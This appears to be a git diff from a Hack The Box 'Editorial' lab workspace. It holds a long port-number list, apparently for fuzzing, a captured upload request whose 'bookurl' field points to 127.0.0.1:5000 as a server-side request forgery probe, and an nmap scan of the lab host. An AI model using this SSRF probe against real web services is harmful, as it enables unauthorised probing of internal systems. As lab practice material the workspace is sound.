+62166
+62167
+62168
+62169
+62170
+62171
+62172
+62173
+62174
+62175
+62176
+62177
+62178
+62179
+62180
+62181
+62182
+62183
+62184
+62185
+62186
+62187
+62188
+62189
+62190
+62191
+62192
+62193
+62194
+62195
+62196
+62197
+62198
+62199
+62200
+62201
+62202
+62203
+62204
+62205
+62206
+62207
+62208
+62209
+62210
+62211
+62212
+62213
+62214
+62215
+62216
+62217
+62218
+62219
+62220
+62221
+62222
+62223
+62224
+62225
+62226
+62227
+62228
+62229
+62230
+62231
+62232
+62233
+62234
+62235
+62236
+62237
+62238
+62239
+62240
+62241
+62242
+62243
+62244
+62245
+62246
+62247
+62248
+62249
+62250
+62251
+62252
+62253
+62254
+62255
+62256
+62257
+62258
+62259
+62260
+62261
+62262
+62263
+62264
+62265
+62266
+62267
+62268
+62269
+62270
+62271
+62272
+62273
+62274
+62275
+62276
+62277
+62278
+62279
+62280
+62281
+62282
+62283
+62284
+62285
+62286
+62287
+62288
+62289
+62290
+62291
+62292
+62293
+62294
+62295
+62296
+62297
+62298
+62299
+62300
+62301
+62302
+62303
+62304
+62305
+62306
+62307
+62308
+62309
+62310
+62311
+62312
+62313
+62314
+62315
+62316
+62317
+62318
+62319
+62320
+62321
+62322
+62323
+62324
+62325
+62326
+62327
+62328
+62329
+62330
+62331
+62332
+62333
+62334
+62335
+62336
+62337
+62338
+62339
+62340
+62341
+62342
+62343
+62344
+62345
+62346
+62347
+62348
+62349
+62350
+62351
+62352
+62353
+62354
+62355
+62356
+62357
+62358
+62359
+62360
+62361
+62362
+62363
+62364
+62365
+62366
+62367
+62368
+62369
+62370
+62371
+62372
+62373
+62374
+62375
+62376
+62377
+62378
+62379
+62380
+62381
+62382
+62383
+62384
+62385
+62386
+62387
+62388
+62389
+62390
+62391
+62392
+62393
+62394
+62395
+62396
+62397
+62398
+62399
+62400
+62401
+62402
+62403
+62404
+62405
+62406
+62407
+62408
+62409
+62410
+62411
+62412
+62413
+62414
+62415
+62416
+62417
+62418
+62419
+62420
+62421
+62422
+62423
+62424
+62425
+62426
+62427
+62428
+62429
+62430
+62431
+62432
+62433
+62434
+62435
+62436
+62437
+62438
+62439
+62440
+62441
+62442
+62443
+62444
+62445
+62446
+62447
+62448
+62449
+62450
+62451
+62452
+62453
+62454
+62455
+62456
+62457
+62458
+62459
+62460
+62461
+62462
+62463
+62464
+62465
+62466
+62467
+62468
+62469
+62470
+62471
+62472
+62473
+62474
+62475
+62476
+62477
+62478
+62479
+62480
+62481
+62482
+62483
+62484
+62485
+62486
+62487
+62488
+62489
+62490
+62491
+62492
+62493
+62494
+62495
+62496
+62497
+62498
+62499
+62500
+62501
+62502
+62503
+62504
+62505
+62506
+62507
+62508
+62509
+62510
+62511
+62512
+62513
+62514
+62515
+62516
+62517
+62518
+62519
+62520
+62521
+62522
+62523
+62524
+62525
+62526
+62527
+62528
+62529
+62530
+62531
+62532
+62533
+62534
+62535
+62536
+62537
+62538
+62539
+62540
+62541
+62542
+62543
+62544
+62545
+62546
+62547
+62548
+62549
+62550
+62551
+62552
+62553
+62554
+62555
+62556
+62557
+62558
+62559
+62560
+62561
+62562
+62563
+62564
+62565
+62566
+62567
+62568
+62569
+62570
+62571
+62572
+62573
+62574
+62575
+62576
+62577
+62578
+62579
+62580
+62581
+62582
+62583
+62584
+62585
+62586
+62587
+62588
+62589
+62590
+62591
+62592
+62593
+62594
+62595
+62596
+62597
+62598
+62599
+62600
+62601
+62602
+62603
+62604
+62605
+62606
+62607
+62608
+62609
+62610
+62611
+62612
+62613
+62614
+62615
+62616
+62617
+62618
+62619
+62620
+62621
+62622
+62623
+62624
+62625
+62626
+62627
+62628
+62629
+62630
+62631
+62632
+62633
+62634
+62635
+62636
+62637
+62638
+62639
+62640
+62641
+62642
+62643
+62644
+62645
+62646
+62647
+62648
+62649
+62650
+62651
+62652
+62653
+62654
+62655
+62656
+62657
+62658
+62659
+62660
+62661
+62662
+62663
+62664
+62665
+62666
+62667
+62668
+62669
+62670
+62671
+62672
+62673
+62674
+62675
+62676
+62677
+62678
+62679
+62680
+62681
+62682
+62683
+62684
+62685
+62686
+62687
+62688
+62689
+62690
+62691
+62692
+62693
+62694
+62695
+62696
+62697
+62698
+62699
+62700
+62701
+62702
+62703
+62704
+62705
+62706
+62707
+62708
+62709
+62710
+62711
+62712
+62713
+62714
+62715
+62716
+62717
+62718
+62719
+62720
+62721
+62722
+62723
+62724
+62725
+62726
+62727
+62728
+62729
+62730
+62731
+62732
+62733
+62734
+62735
+62736
+62737
+62738
+62739
+62740
+62741
+62742
+62743
+62744
+62745
+62746
+62747
+62748
+62749
+62750
+62751
+62752
+62753
+62754
+62755
+62756
+62757
+62758
+62759
+62760
+62761
+62762
+62763
+62764
+62765
+62766
+62767
+62768
+62769
+62770
+62771
+62772
+62773
+62774
+62775
+62776
+62777
+62778
+62779
+62780
+62781
+62782
+62783
+62784
+62785
+62786
+62787
+62788
+62789
+62790
+62791
+62792
+62793
+62794
+62795
+62796
+62797
+62798
+62799
+62800
+62801
+62802
+62803
+62804
+62805
+62806
+62807
+62808
+62809
+62810
+62811
+62812
+62813
+62814
+62815
+62816
+62817
+62818
+62819
+62820
+62821
+62822
+62823
+62824
+62825
+62826
+62827
+62828
+62829
+62830
+62831
+62832
+62833
+62834
+62835
+62836
+62837
+62838
+62839
+62840
+62841
+62842
+62843
+62844
+62845
+62846
+62847
+62848
+62849
+62850
+62851
+62852
+62853
+62854
+62855
+62856
+62857
+62858
+62859
+62860
+62861
+62862
+62863
+62864
+62865
+62866
+62867
+62868
+62869
+62870
+62871
+62872
+62873
+62874
+62875
+62876
+62877
+62878
+62879
+62880
+62881
+62882
+62883
+62884
+62885
+62886
+62887
+62888
+62889
+62890
+62891
+62892
+62893
+62894
+62895
+62896
+62897
+62898
+62899
+62900
+62901
+62902
+62903
+62904
+62905
+62906
+62907
+62908
+62909
+62910
+62911
+62912
+62913
+62914
+62915
+62916
+62917
+62918
+62919
+62920
+62921
+62922
+62923
+62924
+62925
+62926
+62927
+62928
+62929
+62930
+62931
+62932
+62933
+62934
+62935
+62936
+62937
+62938
+62939
+62940
+62941
+62942
+62943
+62944
+62945
+62946
+62947
+62948
+62949
+62950
+62951
+62952
+62953
+62954
+62955
+62956
+62957
+62958
+62959
+62960
+62961
+62962
+62963
+62964
+62965
+62966
+62967
+62968
+62969
+62970
+62971
+62972
+62973
+62974
+62975
+62976
+62977
+62978
+62979
+62980
+62981
+62982
+62983
+62984
+62985
+62986
+62987
+62988
+62989
+62990
+62991
+62992
+62993
+62994
+62995
+62996
+62997
+62998
+62999
+63000
+63001
+63002
+63003
+63004
+63005
+63006
+63007
+63008
+63009
+63010
+63011
+63012
+63013
+63014
+63015
+63016
+63017
+63018
+63019
+63020
+63021
+63022
+63023
+63024
+63025
+63026
+63027
+63028
+63029
+63030
+63031
+63032
+63033
+63034
+63035
+63036
+63037
+63038
+63039
+63040
+63041
+63042
+63043
+63044
+63045
+63046
+63047
+63048
+63049
+63050
+63051
+63052
+63053
+63054
+63055
+63056
+63057
+63058
+63059
+63060
+63061
+63062
+63063
+63064
+63065
+63066
+63067
+63068
+63069
+63070
+63071
+63072
+63073
+63074
+63075
+63076
+63077
+63078
+63079
+63080
+63081
+63082
+63083
+63084
+63085
+63086
+63087
+63088
+63089
+63090
+63091
+63092
+63093
+63094
+63095
+63096
+63097
+63098
+63099
+63100
+63101
+63102
+63103
+63104
+63105
+63106
+63107
+63108
+63109
+63110
+63111
+63112
+63113
+63114
+63115
+63116
+63117
+63118
+63119
+63120
+63121
+63122
+63123
+63124
+63125
+63126
+63127
+63128
+63129
+63130
+63131
+63132
+63133
+63134
+63135
+63136
+63137
+63138
+63139
+63140
+63141
+63142
+63143
+63144
+63145
+63146
+63147
+63148
+63149
+63150
+63151
+63152
+63153
+63154
+63155
+63156
+63157
+63158
+63159
+63160
+63161
+63162
+63163
+63164
+63165
+63166
+63167
+63168
+63169
+63170
+63171
+63172
+63173
+63174
+63175
+63176
+63177
+63178
+63179
+63180
+63181
+63182
+63183
+63184
+63185
+63186
+63187
+63188
+63189
+63190
+63191
+63192
+63193
+63194
+63195
+63196
+63197
+63198
+63199
+63200
+63201
+63202
+63203
+63204
+63205
+63206
+63207
+63208
+63209
+63210
+63211
+63212
+63213
+63214
+63215
+63216
+63217
+63218
+63219
+63220
+63221
+63222
+63223
+63224
+63225
+63226
+63227
+63228
+63229
+63230
+63231
+63232
+63233
+63234
+63235
+63236
+63237
+63238
+63239
+63240
+63241
+63242
+63243
+63244
+63245
+63246
+63247
+63248
+63249
+63250
+63251
+63252
+63253
+63254
+63255
+63256
+63257
+63258
+63259
+63260
+63261
+63262
+63263
+63264
+63265
+63266
+63267
+63268
+63269
+63270
+63271
+63272
+63273
+63274
+63275
+63276
+63277
+63278
+63279
+63280
+63281
+63282
+63283
+63284
+63285
+63286
+63287
+63288
+63289
+63290
+63291
+63292
+63293
+63294
+63295
+63296
+63297
+63298
+63299
+63300
+63301
+63302
+63303
+63304
+63305
+63306
+63307
+63308
+63309
+63310
+63311
+63312
+63313
+63314
+63315
+63316
+63317
+63318
+63319
+63320
+63321
+63322
+63323
+63324
+63325
+63326
+63327
+63328
+63329
+63330
+63331
+63332
+63333
+63334
+63335
+63336
+63337
+63338
+63339
+63340
+63341
+63342
+63343
+63344
+63345
+63346
+63347
+63348
+63349
+63350
+63351
+63352
+63353
+63354
+63355
+63356
+63357
+63358
+63359
+63360
+63361
+63362
+63363
+63364
+63365
+63366
+63367
+63368
+63369
+63370
+63371
+63372
+63373
+63374
+63375
+63376
+63377
+63378
+63379
+63380
+63381
+63382
+63383
+63384
+63385
+63386
+63387
+63388
+63389
+63390
+63391
+63392
+63393
+63394
+63395
+63396
+63397
+63398
+63399
+63400
+63401
+63402
+63403
+63404
+63405
+63406
+63407
+63408
+63409
+63410
+63411
+63412
+63413
+63414
+63415
+63416
+63417
+63418
+63419
+63420
+63421
+63422
+63423
+63424
+63425
+63426
+63427
+63428
+63429
+63430
+63431
+63432
+63433
+63434
+63435
+63436
+63437
+63438
+63439
+63440
+63441
+63442
+63443
+63444
+63445
+63446
+63447
+63448
+63449
+63450
+63451
+63452
+63453
+63454
+63455
+63456
+63457
+63458
+63459
+63460
+63461
+63462
+63463
+63464
+63465
+63466
+63467
+63468
+63469
+63470
+63471
+63472
+63473
+63474
+63475
+63476
+63477
+63478
+63479
+63480
+63481
+63482
+63483
+63484
+63485
+63486
+63487
+63488
+63489
+63490
+63491
+63492
+63493
+63494
+63495
+63496
+63497
+63498
+63499
+63500
+63501
+63502
+63503
+63504
+63505
+63506
+63507
+63508
+63509
+63510
+63511
+63512
+63513
+63514
+63515
+63516
+63517
+63518
+63519
+63520
+63521
+63522
+63523
+63524
+63525
+63526
+63527
+63528
+63529
+63530
+63531
+63532
+63533
+63534
+63535
+63536
+63537
+63538
+63539
+63540
+63541
+63542
+63543
+63544
+63545
+63546
+63547
+63548
+63549
+63550
+63551
+63552
+63553
+63554
+63555
+63556
+63557
+63558
+63559
+63560
+63561
+63562
+63563
+63564
+63565
+63566
+63567
+63568
+63569
+63570
+63571
+63572
+63573
+63574
+63575
+63576
+63577
+63578
+63579
+63580
+63581
+63582
+63583
+63584
+63585
+63586
+63587
+63588
+63589
+63590
+63591
+63592
+63593
+63594
+63595
+63596
+63597
+63598
+63599
+63600
+63601
+63602
+63603
+63604
+63605
+63606
+63607
+63608
+63609
+63610
+63611
+63612
+63613
+63614
+63615
+63616
+63617
+63618
+63619
+63620
+63621
+63622
+63623
+63624
+63625
+63626
+63627
+63628
+63629
+63630
+63631
+63632
+63633
+63634
+63635
+63636
+63637
+63638
+63639
+63640
+63641
+63642
+63643
+63644
+63645
+63646
+63647
+63648
+63649
+63650
+63651
+63652
+63653
+63654
+63655
+63656
+63657
+63658
+63659
+63660
+63661
+63662
+63663
+63664
+63665
+63666
+63667
+63668
+63669
+63670
+63671
+63672
+63673
+63674
+63675
+63676
+63677
+63678
+63679
+63680
+63681
+63682
+63683
+63684
+63685
+63686
+63687
+63688
+63689
+63690
+63691
+63692
+63693
+63694
+63695
+63696
+63697
+63698
+63699
+63700
+63701
+63702
+63703
+63704
+63705
+63706
+63707
+63708
+63709
+63710
+63711
+63712
+63713
+63714
+63715
+63716
+63717
+63718
+63719
+63720
+63721
+63722
+63723
+63724
+63725
+63726
+63727
+63728
+63729
+63730
+63731
+63732
+63733
+63734
+63735
+63736
+63737
+63738
+63739
+63740
+63741
+63742
+63743
+63744
+63745
+63746
+63747
+63748
+63749
+63750
+63751
+63752
+63753
+63754
+63755
+63756
+63757
+63758
+63759
+63760
+63761
+63762
+63763
+63764
+63765
+63766
+63767
+63768
+63769
+63770
+63771
+63772
+63773
+63774
+63775
+63776
+63777
+63778
+63779
+63780
+63781
+63782
+63783
+63784
+63785
+63786
+63787
+63788
+63789
+63790
+63791
+63792
+63793
+63794
+63795
+63796
+63797
+63798
+63799
+63800
+63801
+63802
+63803
+63804
+63805
+63806
+63807
+63808
+63809
+63810
+63811
+63812
+63813
+63814
+63815
+63816
+63817
+63818
+63819
+63820
+63821
+63822
+63823
+63824
+63825
+63826
+63827
+63828
+63829
+63830
+63831
+63832
+63833
+63834
+63835
+63836
+63837
+63838
+63839
+63840
+63841
+63842
+63843
+63844
+63845
+63846
+63847
+63848
+63849
+63850
+63851
+63852
+63853
+63854
+63855
+63856
+63857
+63858
+63859
+63860
+63861
+63862
+63863
+63864
+63865
+63866
+63867
+63868
+63869
+63870
+63871
+63872
+63873
+63874
+63875
+63876
+63877
+63878
+63879
+63880
+63881
+63882
+63883
+63884
+63885
+63886
+63887
+63888
+63889
+63890
+63891
+63892
+63893
+63894
+63895
+63896
+63897
+63898
+63899
+63900
+63901
+63902
+63903
+63904
+63905
+63906
+63907
+63908
+63909
+63910
+63911
+63912
+63913
+63914
+63915
+63916
+63917
+63918
+63919
+63920
+63921
+63922
+63923
+63924
+63925
+63926
+63927
+63928
+63929
+63930
+63931
+63932
+63933
+63934
+63935
+63936
+63937
+63938
+63939
+63940
+63941
+63942
+63943
+63944
+63945
+63946
+63947
+63948
+63949
+63950
+63951
+63952
+63953
+63954
+63955
+63956
+63957
+63958
+63959
+63960
+63961
+63962
+63963
+63964
+63965
+63966
+63967
+63968
+63969
+63970
+63971
+63972
+63973
+63974
+63975
+63976
+63977
+63978
+63979
+63980
+63981
+63982
+63983
+63984
+63985
+63986
+63987
+63988
+63989
+63990
+63991
+63992
+63993
+63994
+63995
+63996
+63997
+63998
+63999
+64000
+64001
+64002
+64003
+64004
+64005
+64006
+64007
+64008
+64009
+64010
+64011
+64012
+64013
+64014
+64015
+64016
+64017
+64018
+64019
+64020
+64021
+64022
+64023
+64024
+64025
+64026
+64027
+64028
+64029
+64030
+64031
+64032
+64033
+64034
+64035
+64036
+64037
+64038
+64039
+64040
+64041
+64042
+64043
+64044
+64045
+64046
+64047
+64048
+64049
+64050
+64051
+64052
+64053
+64054
+64055
+64056
+64057
+64058
+64059
+64060
+64061
+64062
+64063
+64064
+64065
+64066
+64067
+64068
+64069
+64070
+64071
+64072
+64073
+64074
+64075
+64076
+64077
+64078
+64079
+64080
+64081
+64082
+64083
+64084
+64085
+64086
+64087
+64088
+64089
+64090
+64091
+64092
+64093
+64094
+64095
+64096
+64097
+64098
+64099
+64100
+64101
+64102
+64103
+64104
+64105
+64106
+64107
+64108
+64109
+64110
+64111
+64112
+64113
+64114
+64115
+64116
+64117
+64118
+64119
+64120
+64121
+64122
+64123
+64124
+64125
+64126
+64127
+64128
+64129
+64130
+64131
+64132
+64133
+64134
+64135
+64136
+64137
+64138
+64139
+64140
+64141
+64142
+64143
+64144
+64145
+64146
+64147
+64148
+64149
+64150
+64151
+64152
+64153
+64154
+64155
+64156
+64157
+64158
+64159
+64160
+64161
+64162
+64163
+64164
+64165
+64166
+64167
+64168
+64169
+64170
+64171
+64172
+64173
+64174
+64175
+64176
+64177
+64178
+64179
+64180
+64181
+64182
+64183
+64184
+64185
+64186
+64187
+64188
+64189
+64190
+64191
+64192
+64193
+64194
+64195
+64196
+64197
+64198
+64199
+64200
+64201
+64202
+64203
+64204
+64205
+64206
+64207
+64208
+64209
+64210
+64211
+64212
+64213
+64214
+64215
+64216
+64217
+64218
+64219
+64220
+64221
+64222
+64223
+64224
+64225
+64226
+64227
+64228
+64229
+64230
+64231
+64232
+64233
+64234
+64235
+64236
+64237
+64238
+64239
+64240
+64241
+64242
+64243
+64244
+64245
+64246
+64247
+64248
+64249
+64250
+64251
+64252
+64253
+64254
+64255
+64256
+64257
+64258
+64259
+64260
+64261
+64262
+64263
+64264
+64265
+64266
+64267
+64268
+64269
+64270
+64271
+64272
+64273
+64274
+64275
+64276
+64277
+64278
+64279
+64280
+64281
+64282
+64283
+64284
+64285
+64286
+64287
+64288
+64289
+64290
+64291
+64292
+64293
+64294
+64295
+64296
+64297
+64298
+64299
+64300
+64301
+64302
+64303
+64304
+64305
+64306
+64307
+64308
+64309
+64310
+64311
+64312
+64313
+64314
+64315
+64316
+64317
+64318
+64319
+64320
+64321
+64322
+64323
+64324
+64325
+64326
+64327
+64328
+64329
+64330
+64331
+64332
+64333
+64334
+64335
+64336
+64337
+64338
+64339
+64340
+64341
+64342
+64343
+64344
+64345
+64346
+64347
+64348
+64349
+64350
+64351
+64352
+64353
+64354
+64355
+64356
+64357
+64358
+64359
+64360
+64361
+64362
+64363
+64364
+64365
+64366
+64367
+64368
+64369
+64370
+64371
+64372
+64373
+64374
+64375
+64376
+64377
+64378
+64379
+64380
+64381
+64382
+64383
+64384
+64385
+64386
+64387
+64388
+64389
+64390
+64391
+64392
+64393
+64394
+64395
+64396
+64397
+64398
+64399
+64400
+64401
+64402
+64403
+64404
+64405
+64406
+64407
+64408
+64409
+64410
+64411
+64412
+64413
+64414
+64415
+64416
+64417
+64418
+64419
+64420
+64421
+64422
+64423
+64424
+64425
+64426
+64427
+64428
+64429
+64430
+64431
+64432
+64433
+64434
+64435
+64436
+64437
+64438
+64439
+64440
+64441
+64442
+64443
+64444
+64445
+64446
+64447
+64448
+64449
+64450
+64451
+64452
+64453
+64454
+64455
+64456
+64457
+64458
+64459
+64460
+64461
+64462
+64463
+64464
+64465
+64466
+64467
+64468
+64469
+64470
+64471
+64472
+64473
+64474
+64475
+64476
+64477
+64478
+64479
+64480
+64481
+64482
+64483
+64484
+64485
+64486
+64487
+64488
+64489
+64490
+64491
+64492
+64493
+64494
+64495
+64496
+64497
+64498
+64499
+64500
+64501
+64502
+64503
+64504
+64505
+64506
+64507
+64508
+64509
+64510
+64511
+64512
+64513
+64514
+64515
+64516
+64517
+64518
+64519
+64520
+64521
+64522
+64523
+64524
+64525
+64526
+64527
+64528
+64529
+64530
+64531
+64532
+64533
+64534
+64535
+64536
+64537
+64538
+64539
+64540
+64541
+64542
+64543
+64544
+64545
+64546
+64547
+64548
+64549
+64550
+64551
+64552
+64553
+64554
+64555
+64556
+64557
+64558
+64559
+64560
+64561
+64562
+64563
+64564
+64565
+64566
+64567
+64568
+64569
+64570
+64571
+64572
+64573
+64574
+64575
+64576
+64577
+64578
+64579
+64580
+64581
+64582
+64583
+64584
+64585
+64586
+64587
+64588
+64589
+64590
+64591
+64592
+64593
+64594
+64595
+64596
+64597
+64598
+64599
+64600
+64601
+64602
+64603
+64604
+64605
+64606
+64607
+64608
+64609
+64610
+64611
+64612
+64613
+64614
+64615
+64616
+64617
+64618
+64619
+64620
+64621
+64622
+64623
+64624
+64625
+64626
+64627
+64628
+64629
+64630
+64631
+64632
+64633
+64634
+64635
+64636
+64637
+64638
+64639
+64640
+64641
+64642
+64643
+64644
+64645
+64646
+64647
+64648
+64649
+64650
+64651
+64652
+64653
+64654
+64655
+64656
+64657
+64658
+64659
+64660
+64661
+64662
+64663
+64664
+64665
+64666
+64667
+64668
+64669
+64670
+64671
+64672
+64673
+64674
+64675
+64676
+64677
+64678
+64679
+64680
+64681
+64682
+64683
+64684
+64685
+64686
+64687
+64688
+64689
+64690
+64691
+64692
+64693
+64694
+64695
+64696
+64697
+64698
+64699
+64700
+64701
+64702
+64703
+64704
+64705
+64706
+64707
+64708
+64709
+64710
+64711
+64712
+64713
+64714
+64715
+64716
+64717
+64718
+64719
+64720
+64721
+64722
+64723
+64724
+64725
+64726
+64727
+64728
+64729
+64730
+64731
+64732
+64733
+64734
+64735
+64736
+64737
+64738
+64739
+64740
+64741
+64742
+64743
+64744
+64745
+64746
+64747
+64748
+64749
+64750
+64751
+64752
+64753
+64754
+64755
+64756
+64757
+64758
+64759
+64760
+64761
+64762
+64763
+64764
+64765
+64766
+64767
+64768
+64769
+64770
+64771
+64772
+64773
+64774
+64775
+64776
+64777
+64778
+64779
+64780
+64781
+64782
+64783
+64784
+64785
+64786
+64787
+64788
+64789
+64790
+64791
+64792
+64793
+64794
+64795
+64796
+64797
+64798
+64799
+64800
+64801
+64802
+64803
+64804
+64805
+64806
+64807
+64808
+64809
+64810
+64811
+64812
+64813
+64814
+64815
+64816
+64817
+64818
+64819
+64820
+64821
+64822
+64823
+64824
+64825
+64826
+64827
+64828
+64829
+64830
+64831
+64832
+64833
+64834
+64835
+64836
+64837
+64838
+64839
+64840
+64841
+64842
+64843
+64844
+64845
+64846
+64847
+64848
+64849
+64850
+64851
+64852
+64853
+64854
+64855
+64856
+64857
+64858
+64859
+64860
+64861
+64862
+64863
+64864
+64865
+64866
+64867
+64868
+64869
+64870
+64871
+64872
+64873
+64874
+64875
+64876
+64877
+64878
+64879
+64880
+64881
+64882
+64883
+64884
+64885
+64886
+64887
+64888
+64889
+64890
+64891
+64892
+64893
+64894
+64895
+64896
+64897
+64898
+64899
+64900
+64901
+64902
+64903
+64904
+64905
+64906
+64907
+64908
+64909
+64910
+64911
+64912
+64913
+64914
+64915
+64916
+64917
+64918
+64919
+64920
+64921
+64922
+64923
+64924
+64925
+64926
+64927
+64928
+64929
+64930
+64931
+64932
+64933
+64934
+64935
+64936
+64937
+64938
+64939
+64940
+64941
+64942
+64943
+64944
+64945
+64946
+64947
+64948
+64949
+64950
+64951
+64952
+64953
+64954
+64955
+64956
+64957
+64958
+64959
+64960
+64961
+64962
+64963
+64964
+64965
+64966
+64967
+64968
+64969
+64970
+64971
+64972
+64973
+64974
+64975
+64976
+64977
+64978
+64979
+64980
+64981
+64982
+64983
+64984
+64985
+64986
+64987
+64988
+64989
+64990
+64991
+64992
+64993
+64994
+64995
+64996
+64997
+64998
+64999
+65000
+65001
+65002
+65003
+65004
+65005
+65006
+65007
+65008
+65009
+65010
+65011
+65012
+65013
+65014
+65015
+65016
+65017
+65018
+65019
+65020
+65021
+65022
+65023
+65024
+65025
+65026
+65027
+65028
+65029
+65030
+65031
+65032
+65033
+65034
+65035
+65036
+65037
+65038
+65039
+65040
+65041
+65042
+65043
+65044
+65045
+65046
+65047
+65048
+65049
+65050
+65051
+65052
+65053
+65054
+65055
+65056
+65057
+65058
+65059
+65060
+65061
+65062
+65063
+65064
+65065
+65066
+65067
+65068
+65069
+65070
+65071
+65072
+65073
+65074
+65075
+65076
+65077
+65078
+65079
+65080
+65081
+65082
+65083
+65084
+65085
+65086
+65087
+65088
+65089
+65090
+65091
+65092
+65093
+65094
+65095
+65096
+65097
+65098
+65099
+65100
+65101
+65102
+65103
+65104
+65105
+65106
+65107
+65108
+65109
+65110
+65111
+65112
+65113
+65114
+65115
+65116
+65117
+65118
+65119
+65120
+65121
+65122
+65123
+65124
+65125
+65126
+65127
+65128
+65129
+65130
+65131
+65132
+65133
+65134
+65135
+65136
+65137
+65138
+65139
+65140
+65141
+65142
+65143
+65144
+65145
+65146
+65147
+65148
+65149
+65150
+65151
+65152
+65153
+65154
+65155
+65156
+65157
+65158
+65159
+65160
+65161
+65162
+65163
+65164
+65165
+65166
+65167
+65168
+65169
+65170
+65171
+65172
+65173
+65174
+65175
+65176
+65177
+65178
+65179
+65180
+65181
+65182
+65183
+65184
+65185
+65186
+65187
+65188
+65189
+65190
+65191
+65192
+65193
+65194
+65195
+65196
+65197
+65198
+65199
+65200
+65201
+65202
+65203
+65204
+65205
+65206
+65207
+65208
+65209
+65210
+65211
+65212
+65213
+65214
+65215
+65216
+65217
+65218
+65219
+65220
+65221
+65222
+65223
+65224
+65225
+65226
+65227
+65228
+65229
+65230
+65231
+65232
+65233
+65234
+65235
+65236
+65237
+65238
+65239
+65240
+65241
+65242
+65243
+65244
+65245
+65246
+65247
+65248
+65249
+65250
+65251
+65252
+65253
+65254
+65255
+65256
+65257
+65258
+65259
+65260
+65261
+65262
+65263
+65264
+65265
+65266
+65267
+65268
+65269
+65270
+65271
+65272
+65273
+65274
+65275
+65276
+65277
+65278
+65279
+65280
+65281
+65282
+65283
+65284
+65285
+65286
+65287
+65288
+65289
+65290
+65291
+65292
+65293
+65294
+65295
+65296
+65297
+65298
+65299
+65300
+65301
+65302
+65303
+65304
+65305
+65306
+65307
+65308
+65309
+65310
+65311
+65312
+65313
+65314
+65315
+65316
+65317
+65318
+65319
+65320
+65321
+65322
+65323
+65324
+65325
+65326
+65327
+65328
+65329
+65330
+65331
+65332
+65333
+65334
+65335
+65336
+65337
+65338
+65339
+65340
+65341
+65342
+65343
+65344
+65345
+65346
+65347
+65348
+65349
+65350
+65351
+65352
+65353
+65354
+65355
+65356
+65357
+65358
+65359
+65360
+65361
+65362
+65363
+65364
+65365
+65366
+65367
+65368
+65369
+65370
+65371
+65372
+65373
+65374
+65375
+65376
+65377
+65378
+65379
+65380
+65381
+65382
+65383
+65384
+65385
+65386
+65387
+65388
+65389
+65390
+65391
+65392
+65393
+65394
+65395
+65396
+65397
+65398
+65399
+65400
+65401
+65402
+65403
+65404
+65405
+65406
+65407
+65408
+65409
+65410
+65411
+65412
+65413
+65414
+65415
+65416
+65417
+65418
+65419
+65420
+65421
+65422
+65423
+65424
+65425
+65426
+65427
+65428
+65429
+65430
+65431
+65432
+65433
+65434
+65435
+65436
+65437
+65438
+65439
+65440
+65441
+65442
+65443
+65444
+65445
+65446
+65447
+65448
+65449
+65450
+65451
+65452
+65453
+65454
+65455
+65456
+65457
+65458
+65459
+65460
+65461
+65462
+65463
+65464
+65465
+65466
+65467
+65468
+65469
+65470
+65471
+65472
+65473
+65474
+65475
+65476
+65477
+65478
+65479
+65480
+65481
+65482
+65483
+65484
+65485
+65486
+65487
+65488
+65489
+65490
+65491
+65492
+65493
+65494
+65495
+65496
+65497
+65498
+65499
+65500
+65501
+65502
+65503
+65504
+65505
+65506
+65507
+65508
+65509
+65510
+65511
+65512
+65513
+65514
+65515
+65516
+65517
+65518
+65519
+65520
+65521
+65522
+65523
+65524
+65525
+65526
+65527
+65528
+65529
+65530
+65531
+65532
+65533
+65534
+65535
diff --git a/editorial/request.txt b/editorial/request.txt
new file mode 100644
index 0000000..9e4f88f
--- /dev/null
+++ b/editorial/request.txt
@@ -0,0 +1,22 @@
+POST /upload-cover HTTP/1.1
+Host: editorial.htb
+Content-Length: 305
+Accept-Language: en-US
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4sG5ro4zgTRwZZA2
+Accept: */*
+Origin: http://editorial.htb
+Referer: http://editorial.htb/upload
+Accept-Encoding: gzip, deflate, br
+Connection: keep-alive
+
+------WebKitFormBoundary4sG5ro4zgTRwZZA2
+Content-Disposition: form-data; name="bookurl"
+
+http://127.0.0.1:5000
+------WebKitFormBoundary4sG5ro4zgTRwZZA2
+Content-Disposition: form-data; name="bookfile"; filename=""
+Content-Type: application/octet-stream
+
+
+------WebKitFormBoundary4sG5ro4zgTRwZZA2--
diff --git a/editorial/rustscan b/editorial/rustscan
new file mode 100644
index 0000000..ffbea0b
--- /dev/null
+++ b/editorial/rustscan
@@ -0,0 +1,22 @@
+# Nmap 7.94SVN scan initiated Thu Aug 29 17:24:48 2024 as: nmap -vvv -p 22,80 -sC -sV -oN rustscan 10.10.11.20
+Nmap scan report for editorial.htb (10.10.11.20)
+Host is up, received syn-ack (0.57s latency).
+Scanned at 2024-08-29 17:24:48 IST for 30s
+
+PORT STATE SERVICE REASON VERSION
+22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
+| ssh-hostkey:
+| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
+| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
+| 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
+|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
+80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
+| http-methods:
+|_ Supported Methods: OPTIONS GET HEAD
+|_http-title: Editorial Tiempo Arriba
+|_http-server-header: nginx/1.18.0 (Ubuntu)
+Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
+
+Read data files from: /usr/bin/../share/nmap
+Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
+# Nmap done at Thu Aug 29 17:25:18 2024 -- 1 IP address (1 host up) scanned in 30.01 seconds